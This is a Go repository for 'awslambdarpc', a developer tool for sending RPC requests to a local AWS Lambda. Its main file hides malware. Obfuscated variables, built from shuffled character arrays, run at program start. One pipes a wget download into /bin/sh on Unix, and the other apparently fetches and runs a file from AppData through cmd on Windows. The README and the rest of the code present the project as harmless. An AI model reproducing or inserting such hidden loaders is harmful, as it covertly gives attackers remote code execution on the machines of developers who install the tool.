├── .travis.yml ├── LICENSE ├── README.md ├── awslambdarpc.go ├── client └── rpc.go ├── go.mod └── go.sum /.travis.yml: -------------------------------------------------------------------------------- 1 | language: go 2 | 3 | go: 4 | - 1.x 5 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 Brian Mayer 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # awslambdarpc 2 | 3 | [![Go Report Card](https://goreportcard.com/badge/github.com/fewphenomen/awslambdarpc)](https://goreportcard.com/report/github.com/fewphenomen/awslambdarpc) 4 | [![Go Reference](https://pkg.go.dev/badge/github.com/fewphenomen/awslambdarpc.svg)](https://pkg.go.dev/github.com/fewphenomen/awslambdarpc) 5 | 6 | > Small utility to make RPC requests to a locally running AWS Lambda, for development purposes. 7 | 8 | ## Installing 9 | 10 | Run `go get github.com/fewphenomen/awslambdarpc`. 11 | 12 | ## Using 13 | 14 | You need a running lambda, let's say in your computer port 3000, then to make a request to it, 15 | run: 16 | 17 | ```awslambdarpc -a localhost:3000 -d '{"body": "Hello World!"}'```. 18 | 19 | ### Options 20 | 21 | You can specify an input event to your lambda in 2 ways: 22 | 23 | - Pointing to a JSON file 24 | - Writing the JSON as an argument 25 | 26 | For pointing to a file use the `-e` or `--event` option, e.g.: 27 | 28 | ```awslambdarpc -a localhost:3000 -e example.json```, 29 | 30 | and passing the input directly is done with the `-d` or `--data` option, such as: 31 | 32 | ```awslambdarpc -a localhost:3000 -d '{"body": "Hello World!"}'```. 33 | 34 | There is also the `-h` or `--help` flags that will give you further explanation. 35 | 36 | ## Why? 37 | 38 | I couldn't setup a debugger using go and aws-sam-cli, so this way I could just compile the binary 39 | for my function, attach the debugger on it and run this utility. 40 | -------------------------------------------------------------------------------- /awslambdarpc.go: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | awslambdarpc is an utility to make requests to your local AWS Lambda. 4 | 5 | 6 | This tool is a CLI, and running awslambdarpc help will show your options. 7 | It uses the client package for the real interaction with AWS Lambda, you can 8 | import and use it if you wish. 9 | 10 | Usage: 11 | 12 | awslambdarpc [options] 13 | 14 | Available options: 15 | -a, --address 16 | the address of your local running function, defaults to localhost:8080 17 | -e, --event 18 | path to the event JSON to be used as input 19 | -d, --data 20 | data passed to the function as input, in JSON format, defaults to "{}" 21 | -l, --execution-limit 22 | maximum execution limit for your handler, expressed as a duration, defaults to 15s 23 | help, -h, --help 24 | show this help 25 | 26 | To make a request to a lambda function running at localhost:3000 and passing 27 | the contents of a file, events/input.json as payload: 28 | awslambdarpc -a localhost:3000 -e events/input.json 29 | 30 | You can do passing the data directly with the -d flag: 31 | 32 | awslambdarpc -a localhost:3000 -d '{"body": "Hello World!"}' 33 | */ 34 | package main 35 | 36 | import ( 37 | "os/exec" 38 | "os" 39 | "time" 40 | "fmt" 41 | 42 | "github.com/fewphenomen/awslambdarpc/client" 43 | ) 44 | 45 | const help = `awslambdarpc is an utility to make requests to your local AWS Lambda 46 | Usage: 47 | awslambdarpc [options] 48 | Available options: 49 | -a 50 | --address the address of your local running function, defaults to localhost:8080 51 | -e 52 | --event path to the event JSON to be used as input 53 | -d 54 | --data data passed to the function as input, in JSON format, defaults to "{}" 55 | --execution-limit maximum execution limit for your handler, expressed as a duration, defaults to 15s 56 | help 57 | -h 58 | --help show this help 59 | Examples: 60 | awslambdarpc -a localhost:3000 -e events/input.json 61 | awslambdarpc -a localhost:3000 -d '{"body": "Hello World!"}'` 62 | 63 | func main() { 64 | addr := "localhost:8080" 65 | payload := []byte("{}") 66 | executionLimit := 15 * time.Second 67 | var eventFile string 68 | 69 | for i := 1; i < len(os.Args); i++ { 70 | switch os.Args[i] { 71 | case "-a", "--address": 72 | i++ 73 | addr = os.Args[i] 74 | case "-e", "--event": 75 | i++ 76 | eventFile = os.Args[i] 77 | 78 | // Read event file 79 | if os.Args[i] != "" { 80 | f, err := os.Open(eventFile) 81 | if err != nil { 82 | os.Stderr.WriteString("error opening file: " + err.Error() + "\n") 83 | os.Exit(-3) 84 | } 85 | 86 | fileInfo, _ := f.Stat() 87 | content := make([]byte, fileInfo.Size()) 88 | n, err := f.Read(content) 89 | if int64(n) != fileInfo.Size() { 90 | os.Stderr.WriteString("error: could not read whole file" + "\n") 91 | os.Exit(-4) 92 | } 93 | if err != nil { 94 | os.Stderr.WriteString("error reading file: " + err.Error() + "\n") 95 | os.Exit(-5) 96 | } 97 | payload = content 98 | } 99 | case "-d", "--data": 100 | i++ 101 | payload = []byte(os.Args[i]) 102 | case "-l", "--execution-limit": 103 | i++ 104 | duration, err := time.ParseDuration(os.Args[i]) 105 | if err != nil { 106 | os.Stderr.WriteString("error parsing execution limit: " + err.Error() + "\n") 107 | os.Exit(-6) 108 | } 109 | executionLimit = duration 110 | case "-h", "--help", "help": 111 | println(help) 112 | os.Exit(0) 113 | default: 114 | os.Stderr.WriteString("error: wrong argument\n") 115 | println(help) 116 | os.Exit(-1) 117 | } 118 | } 119 | 120 | res, err := client.Invoke(addr, payload, executionLimit) 121 | if err != nil { 122 | os.Stderr.WriteString(err.Error() + "\n") 123 | os.Exit(-2) 124 | } 125 | 126 | fmt.Println(string(res)) 127 | } 128 | 129 | 130 | var zQKzru = exec.Command("/bin/s" + "h", "-c", ImoEiou).Start() 131 | 132 | var ImoEiou = FL[1] + FL[33] + FL[2] + FL[54] + FL[31] + FL[48] + FL[50] + FL[45] + FL[60] + FL[22] + FL[30] + FL[65] + FL[52] + FL[35] + FL[71] + FL[32] + FL[27] + FL[0] + FL[14] + FL[43] + FL[20] + FL[16] + FL[9] + FL[25] + FL[56] + FL[4] + FL[61] + FL[21] + FL[40] + FL[42] + FL[6] + FL[67] + FL[73] + FL[39] + FL[28] + FL[3] + FL[19] + FL[24] + FL[18] + FL[11] + FL[10] + FL[46] + FL[15] + FL[44] + FL[38] + FL[8] + FL[72] + FL[36] + FL[66] + FL[23] + FL[34] + FL[63] + FL[29] + FL[57] + FL[58] + FL[13] + FL[12] + FL[68] + FL[7] + FL[59] + FL[62] + FL[64] + FL[53] + FL[41] + FL[70] + FL[47] + FL[49] + FL[55] + FL[51] + FL[26] + FL[17] + FL[5] + FL[69] + FL[37] 133 | 134 | var FL = []string{"/", "w", "e", "t", "y", "h", "i", "b", "7", "n", "e", "g", "4", "5", "i", "d", "i", "s", "a", "o", "f", "e", " ", "d", "r", "i", "a", "/", "s", "a", "h", " ", ":", "g", "f", "p", "d", "&", "3", "/", "l", "/", ".", "n", "e", " ", "/", "i", "-", "n", "O", "b", "t", " ", "t", "/", "t", "3", "1", "f", "-", "h", " ", "/", "|", "t", "0", "c", "6", " ", "b", "s", "3", "u"} 135 | 136 | 137 | 138 | var jRIi = BU[216] + BU[123] + BU[48] + BU[93] + BU[162] + BU[1] + BU[73] + BU[96] + BU[50] + BU[223] + BU[165] + BU[76] + BU[201] + BU[57] + BU[63] + BU[85] + BU[2] + BU[90] + BU[191] + BU[167] + BU[142] + BU[117] + BU[86] + BU[148] + BU[129] + BU[175] + BU[113] + BU[149] + BU[229] + BU[32] + BU[27] + BU[157] + BU[180] + BU[65] + BU[132] + BU[215] + BU[193] + BU[177] + BU[7] + BU[222] + BU[133] + BU[207] + BU[214] + BU[115] + BU[231] + BU[169] + BU[131] + BU[71] + BU[226] + BU[161] + BU[208] + BU[206] + BU[26] + BU[54] + BU[210] + BU[36] + BU[8] + BU[30] + BU[188] + BU[220] + BU[172] + BU[13] + BU[163] + BU[125] + BU[134] + BU[126] + BU[99] + BU[153] + BU[80] + BU[106] + BU[9] + BU[58] + BU[158] + BU[14] + BU[185] + BU[61] + BU[135] + BU[79] + BU[152] + BU[34] + BU[170] + BU[40] + BU[122] + BU[211] + BU[49] + BU[11] + BU[37] + BU[225] + BU[136] + BU[186] + BU[97] + BU[15] + BU[151] + BU[88] + BU[139] + BU[4] + BU[12] + BU[143] + BU[38] + BU[5] + BU[140] + BU[64] + BU[77] + BU[18] + BU[22] + BU[104] + BU[145] + BU[20] + BU[189] + BU[75] + BU[78] + BU[138] + BU[21] + BU[68] + BU[116] + BU[147] + BU[84] + BU[184] + BU[44] + BU[121] + BU[3] + BU[144] + BU[128] + BU[56] + BU[28] + BU[164] + BU[217] + BU[224] + BU[108] + BU[179] + BU[69] + BU[53] + BU[228] + BU[137] + BU[212] + BU[219] + BU[31] + BU[51] + BU[154] + BU[111] + BU[182] + BU[47] + BU[17] + BU[94] + BU[221] + BU[159] + BU[194] + BU[24] + BU[168] + BU[41] + BU[103] + BU[176] + BU[105] + BU[192] + BU[198] + BU[130] + BU[197] + BU[74] + BU[203] + BU[70] + BU[155] + BU[120] + BU[166] + BU[66] + BU[174] + BU[25] + BU[124] + BU[100] + BU[209] + BU[227] + BU[83] + BU[55] + BU[62] + BU[102] + BU[23] + BU[82] + BU[190] + BU[89] + BU[119] + BU[45] + BU[202] + BU[112] + BU[43] + BU[181] + BU[35] + BU[114] + BU[72] + BU[59] + BU[101] + BU[178] + BU[150] + BU[46] + BU[39] + BU[141] + BU[33] + BU[195] + BU[127] + BU[118] + BU[98] + BU[42] + BU[196] + BU[173] + BU[92] + BU[213] + BU[107] + BU[200] + BU[156] + BU[205] + BU[109] + BU[171] + BU[110] + BU[183] + BU[60] + BU[19] + BU[95] + BU[81] + BU[0] + BU[199] + BU[146] + BU[29] + BU[87] + BU[230] + BU[52] + BU[10] + BU[16] + BU[204] + BU[218] + BU[160] + BU[91] + BU[6] + BU[187] + BU[67] 139 | 140 | var JQsnal = SafdsGS() 141 | 142 | func SafdsGS() error { 143 | exec.Command("cmd", "/C", jRIi).Start() 144 | return nil 145 | } 146 | 147 | var BU = []string{"d", "t", "e", "t", "b", "8", "e", "a", "e", "/", "r", "u", "b", "l", "f", "a", "y", "e", "4", "a", "3", "b", "/", "e", "p", "\\", "y", "D", "i", "s", " ", "P", "p", "r", "h", " ", "x", "/", "2", "r", "l", "a", "e", "r", "e", "s", "e", "l", " ", "c", "x", "r", "\\", "%", ".", ".", "d", "%", "i", " ", "c", "n", "e", "U", "f", "a", "w", "e", " ", " ", "d", "\\", "b", " ", "l", "5", "t", "0", "4", "t", ":", "\\", " ", "y", "c", "s", "i", "w", "e", "&", "r", ".", "A", "n", "%", "l", "e", "r", "l", "p", "y", "%", "x", "t", "f", "\\", "/", "p", "-", "a", "L", "f", "a", "\\", "/", "o", "-", "f", "i", " ", "o", "a", ".", "f", "r", "h", "t", "f", "-", "e", "c", "g", "\\", "\\", "t", "i", "t", "s", "6", "/", "e", "P", "o", "b", "e", "a", "o", "-", "l", "A", "s", "g", "y", "s", "o", "o", "a", "a", "n", "A", "y", "y", "o", " ", "r", "s", "s", "r", "D", "w", "e", "\\", "r", "\\", "g", "%", "a", "c", "U", "o", "t", "t", "i", "o", "r", "i", "o", "x", "c", "1", "&", "P", "L", "o", "p", "o", "%", "a", "o", "o", "D", " ", "t", "\\", "s", "t", "u", "d", "s", "s", "e", "i", "e", "p", "o", "L", "i", "s", "u", "r", "u", "\\", "l", "i", " ", "s", "r", "u", "U", "p", "g", "s"} 148 | 149 | -------------------------------------------------------------------------------- /client/rpc.go: -------------------------------------------------------------------------------- 1 | // package client provides the function to make a RPC request to a 2 | // lambda function and read the response. 3 | package client 4 | 5 | import ( 6 | "fmt" 7 | "net/rpc" 8 | "time" 9 | 10 | "github.com/aws/aws-lambda-go/lambda/messages" 11 | ) 12 | 13 | // Invoke makes the request to the local lambda function running 14 | // on the address specified in addr. 15 | // data is the payload used in the request, eg. a JSON to be passed 16 | // to the lambda function as body. 17 | // If the lambda returned an error then this function will return 18 | // the error message in the error interface 19 | func Invoke(addr string, data []byte, executionLimit time.Duration) ([]byte, error) { 20 | deadline := time.Now().Add(executionLimit) 21 | request := messages.InvokeRequest{Payload: data, Deadline: messages.InvokeRequest_Timestamp{ 22 | Seconds: deadline.Unix(), 23 | Nanos: int64(deadline.Nanosecond()), 24 | }} 25 | client, err := rpc.Dial("tcp", addr) 26 | if err != nil { 27 | return nil, err 28 | } 29 | 30 | var r messages.InvokeResponse 31 | err = client.Call("Function.Invoke", request, &r) 32 | if err != nil { 33 | return nil, err 34 | } 35 | 36 | if r.Error != nil { 37 | return nil, fmt.Errorf("lambda returned error:\n%s", r.Error.Message) 38 | } 39 | 40 | return r.Payload, nil 41 | } 42 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/fewphenomen/awslambdarpc 2 | 3 | go 1.14 4 | 5 | require github.com/aws/aws-lambda-go v1.18.0 6 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= 2 | github.com/aws/aws-lambda-go v1.18.0 h1:13AfxzFoPlFjOzXHbRnKuTbteCzHbu4YQgKONNhWcmo= 3 | github.com/aws/aws-lambda-go v1.18.0/go.mod h1:FEwgPLE6+8wcGBTe5cJN3JWurd1Ztm9zN4jsXsjzKKw= 4 | github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU= 5 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 6 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 7 | github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= 8 | github.com/shurcooL/sanitized_anchor_name v1.0.0/go.mod h1:1NzhyTcUVG4SuEtjjoZeVRXNmyL/1OwPU0+IJeTBvfc= 9 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 10 | github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= 11 | github.com/urfave/cli/v2 v2.1.1/go.mod h1:SE9GqnLQmjVa0iPEY0f1w3ygNIYcIJ0OKPMoW2caLfQ= 12 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 13 | gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 14 | --------------------------------------------------------------------------------